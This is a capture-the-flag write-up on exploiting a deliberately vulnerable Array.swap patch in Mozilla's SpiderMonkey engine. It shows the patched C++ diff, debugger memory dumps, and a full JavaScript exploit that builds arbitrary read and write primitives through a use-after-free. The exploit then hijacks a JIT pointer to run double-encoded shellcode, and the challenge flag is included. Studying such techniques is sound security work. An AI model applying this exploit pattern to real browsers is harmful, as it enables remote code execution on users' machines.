Level 8B - Super "Optimised" Swap (SpiderMonkey pwn)

This is a JavaScript engine exploit. More specifically, we are given a binary called js, which is the SpiderMonkey JavaScript engine. SpiderMonkey is Mozilla's JavaScript and WebAssembly Engine, used in Firefox, Servo and various other projects. It is written in C++, Rust and JavaScript.
Usually for JS pwn challenges, vulnerable patches are made to the JS engines, and you need to write an exploit in JS to gain an RCE over the remote server. As this was my first time writing a JS exploit, I had to do a ton of research in order to understand what was going on ๐ญ. On the bright side it meant that I learnt alot more about memory management in the SpiderMonkey engine :).
The challenge source is mostly in code/diff.txt, which shows us how the JS engine was modified to make it vulnerable. Let's zoom in on the important parts:
+bool js::array_swap(JSContext* cx, unsigned argc, Value* vp) {
+  AutoJSMethodProfilerEntry pseudoFrame(cx, "Array.prototype", "swap");
+  CallArgs args = CallArgsFromVp(argc, vp);
+
+  // {obj} refers to this == b
+  RootedObject obj(cx, ToObject(cx, args.thisv()));
+  if (!obj) {
+    return false;
+  }
+
+  NativeObject* nobj = &obj->as<NativeObject>();
+  
+  uint64_t len;
+  if (!GetLengthPropertyInlined(cx, obj, &len)) {
+    args.rval().setBoolean(false);
+    return false;
+  }
+
+  if (!CanOptimizeForDenseStorage<ArrayAccess::Read>(obj, len)) {
+    JS_ReportErrorASCII(cx, "Cannot optimize for array object");
+    args.rval().setBoolean(false);
+    return false;
+  }
+
+  uint64_t capacity;
+  capacity = nobj->getDenseCapacity();
+
+  const js::Value* elements2 = nobj->getDenseElements();
+
+  #if defined(DEBUG) || defined(JS_JITSPEW)
+    printf("Current object: %p\n", static_cast<void*>(nobj));
+    printf("Current length/capacity: %lu / %lu\n",  len, capacity);
+    printf("elements: %p\n", elements2);
+  #endif
+
+
+  RootedValue from(cx);
+  JSAtom* fromAtom = Atomize(cx, "from", strlen("from"));
+  if (!fromAtom) {
+    return false;
+  }
+  RootedId fromId(cx, AtomToId(fromAtom));
+  if (!GetProperty(cx, obj, obj, fromId, &from)) {
+      args.rval().setBoolean(false);
+      return true;
+  }
+
+  if (!from.isInt32()){
+    JS_ReportErrorASCII(cx, "from is not Int32");
+    args.rval().setBoolean(false);
+    return true;
+  }
+
+
+  RootedValue to(cx);
+  JSAtom* toAtom = Atomize(cx, "to", strlen("to"));
+  if (!toAtom) {
+    return false;
+  }
+  RootedId toId(cx, AtomToId(toAtom));
+  if (!GetProperty(cx, obj, obj, toId, &to)) {
+      args.rval().setBoolean(false);
+      return true;
+  }
+
+  if (!to.isInt32()){
+    JS_ReportErrorASCII(cx, "to property is not Int32");
+    args.rval().setBoolean(false);
+    return true;
+  }
+  
+  // truncate - should be fine
+  uint64_t fromVal = from.toInt32();
+  uint64_t toVal = to.toInt32();
+
+  #if defined(DEBUG) || defined(JS_JITSPEW)
+    printf("fromVal: %ld\n", fromVal);  
+    printf("toVal: %ld\n", toVal);
+  #endif
+
+
+  if (fromVal < len 
+      && toVal < len
+      && fromVal < capacity    
+      && toVal < capacity)    
+  {
+    Value tmp = elements2[toVal]; 
+    Value tmp2 = elements2[fromVal]; 
+
+    #if defined(DEBUG) || defined(JS_JITSPEW)
+      printf("To:\n");
+      js::DumpValue(tmp);
+
+      printf("From:\n");
+      js::DumpValue(tmp2);
+    #endif
+
+    memcpy((void*)&elements2[fromVal], &tmp, sizeof(js::Value));
+    memcpy((void*)&elements2[toVal], &tmp2, sizeof(js::Value));
+
+
+    args.rval().setBoolean(true);  
+  }
+  else
+  {
+    JS_ReportErrorASCII(cx, "Index larger than length!");
+    args.rval().setBoolean(false);  
+  }
+  
+  return true;
+}The idea is that arrays have a new .swap() function introduced, and its intended functionality is to swap elements in an array. Let's break down what it does:
- Gets the - lenof the array using- GetLengthPropertyInlined
- Checks that the array can be optimised for dense storage 
- Get the array capacity using - getDenseCapacity()
- Get the underlying - js::Value*elements by using- nobj->getDenseElements()
- Get the - fromand- toproperties of the array using- GetProperty(). These are both 32-bit integers.
- Check that the indices - fromand- toare both- < lenand- < capacity
- Actually perform the swap on the - js::Valuemembers using- memcpy
Using LLMs, I learnt that the GetProperty may invoke arbitrary attacker-controlled JavaScript. In other words, when GetProperty is called to retrieve the index to or from, we can perform operations on the array before returning the integer index.
Having done numerous heap-based userspace pwn challenges before, my first observation was that the elements of the array are stored in js::Value* elements2 before we call GetProperty().
This means that if we can find a way to free the array's backing buffer and reclaim it using other objects, we could potentially achieve an arbitrary swap between elements/metadata of two objects. My guess (which was correct) was that expanding the array beyond the capacity would cause it to be allocated somewhere else.
I also came across SpiderMonkey blogs which mentioned the objectAddress() function which was directly accessible from the JavaScript engine, which saved me the effort of having to implement one using the existing primitives.
Furthermore, on reading previous blogs/CTF challenges, I realised that a popular way of exploiting SpiderMonkey was to first obtain arbitrary read and write, then use those primitives to:
- Write a function containing shellcode encoded in doubles, and execute it multiple times so the shellcode is mapped into RX memory 
- Read the - JsJitInfoAddrwhich is located at- objectAddress(shellcode) + 0x28
- Read the first 8 bytes in - JsJitInfoAddrto leak the memory address of the readable and executable region (and hence have a better idea of where existing user shellcode is located)
- Write the address of user shellcode into - jitInfoAddrso it gets executed by the JIT engine
As I was unfamiliar with V8/SpiderMonkey exploits, I also researched on various existing ways of exploiting UAF on arrays. After a few days, I encountered the following holy grail when reading this sentinelone blog:

This prompted me to look at how ArrayBuffers and Arrays were stored in memory. As an exercise, let me run you through how I get an arbitrary read. Suppose I have a function shellcode and its object address. How do I read the content of objectAddress(shellcode) + 0x28? I need this arbitrary read to determine the address of JSJitInfoAddr.
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}
function shellcode() {
    find_me = 5.40900888e-315; // 0x41414141 in memory
    A = -6.828527034422786e-229; // 0x9090909090909090
    B = 9.140985924375324e+164; //
    C = 1.9999680285240848e+98;
    D = 7.03809441336698e-309;
    E = -6.828527034422786e-229; // 0x9090909090909090
    F = -6.828527034422786e-229; // 0x9090909090909090
    G = -6.828527034422786e-229; // 0x9090909090909090
    H = -6.828527034422786e-229; // 0x9090909090909090
}
function gc() {new ArrayBuffer(3*1024*1024*100)}
const NUM_ALLOCS_1 = 52;
const FREE_110_SZ = 1024*2;
const FREES_110 = Array(FREE_110_SZ);
function arbread1() {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 11;
    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet
            console.log("I'm executing inside the C++ swap function!");
            // trigger array expansion and reallocation
            this.push(69);
            gc();
            for(var i=0; i<NUM_ALLOCS_1; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            let shellcodeFunctionAddr = objectAddress(shellcode);
            print(`shellcodeFunctionAddr: ${shellcodeFunctionAddr}`);
            var arr2 = [i2d(BigInt("0x" + shellcodeFunctionAddr, 16) + 0x28n)];
            FREES_110[NUM_ALLOCS_1] = arr2;
            return 34;
        }
    });
    arr1.swap();
    // console.log(FREES_110[55]);
    return Number(FREES_110[NUM_ALLOCS_1 - 1][0]);
}
const NUM_ALLOCS_2 = 62;
// now we need to do arbread to read the JSJitInfoAddr
let jitInfoAddr = arbread1();Here's what I'm doing:
- Use - Object.defineProperty(arr1, 'to', ...)to dictate the JS that is run before the- toindex is returned to the JS engine. When- getProperty()is called, we will:- Expand the array - arr1from 64 -> 65 elements, expanding it beyond its capacity to trigger a re-allocation elsewhere.
- Perform garbage collection to free its previous backing buffer. 
- Create a certain number of typed BigUint64Arrays such that part of - arr1's previous backing buffer gets reclaimed
- Create another array - arr2whose only element is the decimal representation of- objectAddress(shellcode) + 0x28
- Finally return the index - toand return control to the JS engine
 
- Allow the swap to occur, swapping the data pointer of the LAST BigUint64Array with the VALUE - objectAddress(shellcode) + 0x28
- Now when we read the first element of the last BigUint64Array, we will effectively be dereferencing - objectAddress(shellcode) + 0x28and reading the 8 bytes at its address.
In this run objectAddress(shellcode) = 0xf4ad676c158
If we run the arbread function we'll see the following debug message from the JS engine:
Current length/capacity: 64 / 64
elements: 0xd643eb00cb8
I'm executing inside the C++ swap function!
shellcodeFunctionAddr: f4ad676c158
fromVal: 11
toVal: 34
To:
{
  "type": "double",
  "value": "8.307269226901e-311",
  "private": "0xf4ad676c180"
}
From:
{
  "type": "double",
  "value": "6.28111381192257e-310",
  "private": "0x73a00790a400"
}
jitInfoAddr: 0xf4ad675f1a0This tells us that the arr1's elements were at the address 0xd643eb00cb8 and we can look there to check what reclaimed it. Notice that I swapped index 11 (0x0b) and 34 (0x22) here.
This is the memory layout in the debugger AFTER the swap has occurred:
pwndbg> tele 0xd643eb00cb8 100
...
0b:0058โ  0xd643eb00d10 โโธ 0xf4ad676c180 <- This is objectAddress(shellcode) + 0x28!
0c:0060โ  0xd643eb00d18 โโธ 0x73a008e4e8fa โโ 0x73a008e4
0d:0068โ  0xd643eb00d20 โโ 0xb00000450
0e:0070โ  0xd643eb00d28 โโ 'f4ad676c158'
0f:0078โ  0xd643eb00d30 โโ 0xfff8800000383531 /* '158' */
10:0080โ  0xd643eb00d38 โโธ 0x73a008e4e8fa โโ 0x73a008e4
11:0088โ  0xd643eb00d40 โโ 0x2200000490
12:0090โ  0xd643eb00d48 โโธ 0xd643eb00d58 โโ 'shellcodeFunctionAddr: f4ad676c158'
13:0098โ  0xd643eb00d50 โโ 0x40 /* '@' */
14:00a0โ  0xd643eb00d58 โโ 'shellcodeFunctionAddr: f4ad676c158'
15:00a8โ  0xd643eb00d60 โโ 'eFunctionAddr: f4ad676c158'
16:00b0โ  0xd643eb00d68 โโ 'nAddr: f4ad676c158'
17:00b8โ  0xd643eb00d70 โโ '4ad676c158'
18:00c0โ  0xd643eb00d78 โโ 0xfff8800000003835 /* '58' */
19:00c8โ  0xd643eb00d80 โโ 0xfff8800000001b39
... โ     2 skipped
1c:00e0โ  0xd643eb00d98 โโธ 0x73a008e4e8a8 โโธ 0x73a008e4e000 โโธ 0x73a008e2a000 โโธ 0x73a007c9b000 โโ ...
1d:00e8โ  0xd643eb00da0 โโธ 0xf4ad675b900 โโธ 0xf4ad6739190 โโธ 0x5b9dabbd0470 (js::ArrayObject::class_) โโธ 0x5b9da952f035 โโ ...
1e:00f0โ  0xd643eb00da8 โโธ 0x5b9da954d130 (emptyObjectSlotsHeaders+16) โโ 0x100000000
1f:00f8โ  0xd643eb00db0 โโธ 0xd643eb00dc8 โโธ 0x73a00790a400 โโ 0x42424242 /* 'BBBB' */
20:0100โ  0xd643eb00db8 โโ 0x100000001
21:0108โ  0xd643eb00dc0 โโ 0x100000002
22:0110โ  0xd643eb00dc8 โโธ 0x73a00790a400 โโ 0x42424242 /* 'BBBB' */ <- This is the data pointer of the last BigUintArray!As you can see, I have swapped the elements at 0xd643eb00d10 and 0xd643eb00dc8 . This swaps the last BigUint64Array's data pointer with objectAddress(shellcode) + 0x28.
Now, when I try to read the 0th element of the BigUint64Array, it will dereference objectAddress(shellcode) + 0x28 and give me that value instead of the actual BigUint I put in it! (which was 0x42424242)
This first arbitrary read allows me to read the contents of objectAddress(shellcode) + 0x28 = address of JSJitInfoAddr. I use another similar arbitrary read to read the content of JSJitInfoAddr, which is the virtual address of the RX region.
Now we come to the arbitrary write. In order for the shellcode to be executed by the JIT engine, we have to find the address of the executable shellcode and overwrite the value at JSJitInfoAddr with that. Since the environment was fixed, I found out that the executable shellcode would be assigned at a constant offset with respect to the RX region that we already leaked. Therefore, we just need to overwrite the value of JSJitInfoAddr with that address to successfully pwn it.
Here's a code snippet for the arbitrary write:
const NUM_ALLOCS_3 = 72;
function arbwrite(addr, data) {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 7;
    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet
            console.log("I'm executing inside the C++ swap function!");
            // trigger array expansion and reallocation
            this.push(69);
            gc();
            for(var i=NUM_ALLOCS_1 + NUM_ALLOCS_2; i<NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            var arr2 = [i2d(BigInt(addr))];
            return 18;
        }
    });
    arr1.swap();
    for (let i = 0; i < 0x10000; i++) shellcode();
    FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3 - 1][0] = BigInt(data);
}
var shellcodeAddr = RXregion + (0xc372baf0d0-0xc372b8bd40);
print(`shellcodeAddr: ${hex(shellcodeAddr)}`);
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
print(`Writing shellcodeAddr to jitInfoAddr...`);
arbwrite(jitInfoAddr, shellcodeAddr); // both shd be numbersThe main idea is essentially the same: I allocate a bunch of BigUint64Arrays to partially reclaim the backing buffer of arr1, then allocate arr2 containing the target address in decimal. Then I swap the data pointer of the last BigUint64Array with the actual addr element.
After the swap is performed, when we try to write element 0 of the last BigUint64Array, we will end up dereferencing addr and changing the value in it, achieving our arbitrary write.
This allows us to successfully overwrite the first 8 bytes of JSJitInfoAddr to the address of the executable shellcode. Finally, to activate the RCE, we need to simply invoke the shellcode() function. Below is the full exploit:
let converter = new ArrayBuffer(8);
let u64view = new BigUint64Array(converter);
let f64view = new Float64Array(converter);
// Bit-cast an uint64_t to a float64
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}
// Bit-cast a float64 to an uint64_t
function d2i(x) {
    f64view[0] = x;
    return u64view[0];
}
function print(x) {
    console.log(x);
}
function hex(x) {
    return `0x${x.toString(16)}`;
}
function shellcode() {
    find_me = 5.40900888e-315; // 0x41414141 in memory
    A = -6.828527034422786e-229; // 0x9090909090909090
    B = 9.140985924375324e+164; //
    C = 1.9999680285240848e+98;
    D = 7.03809441336698e-309;
    E = -6.828527034422786e-229; // 0x9090909090909090
    F = -6.828527034422786e-229; // 0x9090909090909090
    G = -6.828527034422786e-229; // 0x9090909090909090
    H = -6.828527034422786e-229; // 0x9090909090909090
}
function gc() {new ArrayBuffer(3*1024*1024*100)}
const NUM_ALLOCS_1 = 52;
const FREE_110_SZ = 1024*2;
const FREES_110 = Array(FREE_110_SZ);
function arbread1() {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 11;
    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet
            console.log("I'm executing inside the C++ swap function!");
            // trigger array expansion and reallocation
            this.push(69);
            gc();
            for(var i=0; i<NUM_ALLOCS_1; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            let shellcodeFunctionAddr = objectAddress(shellcode);
            print(`shellcodeFunctionAddr: ${shellcodeFunctionAddr}`);
            var arr2 = [i2d(BigInt("0x" + shellcodeFunctionAddr, 16) + 0x28n)];
            FREES_110[NUM_ALLOCS_1] = arr2;
            return 34;
        }
    });
    arr1.swap();
    // console.log(FREES_110[55]);
    return Number(FREES_110[NUM_ALLOCS_1 - 1][0]);
}
const NUM_ALLOCS_2 = 62;
// now we need to do arbread to read the JSJitInfoAddr
let jitInfoAddr = arbread1();
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
// Math.pow(10,2);
// now we do another arbread on jitinfoaddr to find the RX region
function arbread2(addr) {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 7;
    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet
            console.log("I'm executing inside the C++ swap function!");
            // trigger array expansion and reallocation
            this.push(69);
            gc();
            for(var i=NUM_ALLOCS_1; i<NUM_ALLOCS_1 + NUM_ALLOCS_2; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            var arr2 = [i2d(addr)];
            return 14;
        }
    });
    arr1.swap();
    // console.log(FREES_110[55]);
    return Number(FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 - 1][0]);
}
let RXregion = arbread2(BigInt(jitInfoAddr));
print(`RXregion: ${hex(RXregion)}`);
// Math.pow(2, 10);
const NUM_ALLOCS_3 = 72;
function arbwrite(addr, data) {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 7;
    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet
            console.log("I'm executing inside the C++ swap function!");
            // trigger array expansion and reallocation
            this.push(69);
            gc();
            for(var i=NUM_ALLOCS_1 + NUM_ALLOCS_2; i<NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            var arr2 = [i2d(BigInt(addr))];
            return 18;
        }
    });
    arr1.swap();
    for (let i = 0; i < 0x10000; i++) shellcode();
    FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3 - 1][0] = BigInt(data);
}
var shellcodeAddr = RXregion + (0xc372baf0d0-0xc372b8bd40);
print(`shellcodeAddr: ${hex(shellcodeAddr)}`);
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
print(`Writing shellcodeAddr to jitInfoAddr...`);
arbwrite(jitInfoAddr, shellcodeAddr); // both shd be numbers
// Math.pow(10,2);
// print("Triggering shellcode...");
shellcode();
// Math.pow(10,2);
// TISC{sp1d3rm0nk3y_sw4p_p4ws_y3kn0mr3d1ps}Last updated